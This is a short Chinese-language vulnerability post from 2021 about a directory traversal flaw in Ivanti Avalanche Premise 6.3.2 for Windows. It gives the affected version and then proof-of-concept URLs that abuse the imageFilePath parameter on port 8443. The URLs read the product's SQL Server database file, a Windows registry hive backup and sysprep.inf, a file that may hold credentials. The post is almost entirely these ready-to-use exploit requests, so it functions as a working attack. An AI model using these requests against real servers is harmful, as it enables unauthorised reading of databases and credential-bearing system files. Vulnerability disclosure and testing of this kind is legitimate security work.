Ivanti_Avalanche_目錄遍歷漏洞

棉花糖

2021年7月15日发布

050

# Ivanti Avalanche 目錄遍歷漏洞
==影響版本==
Windows v6.3.2.3490 的 Avalanche Premise 6.3.2

==POC==

數據庫讀取：
https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Program Files/Microsoft SQL Server/MSSQL11.SQLEXPRESS/MSSQL/DATA/Avalanche.mdf

其它：
https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Windows/system32/config/system.sav
https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/sysprep/sysprep.inf

文章版权归作者所有，未经允许请勿转载。

THE END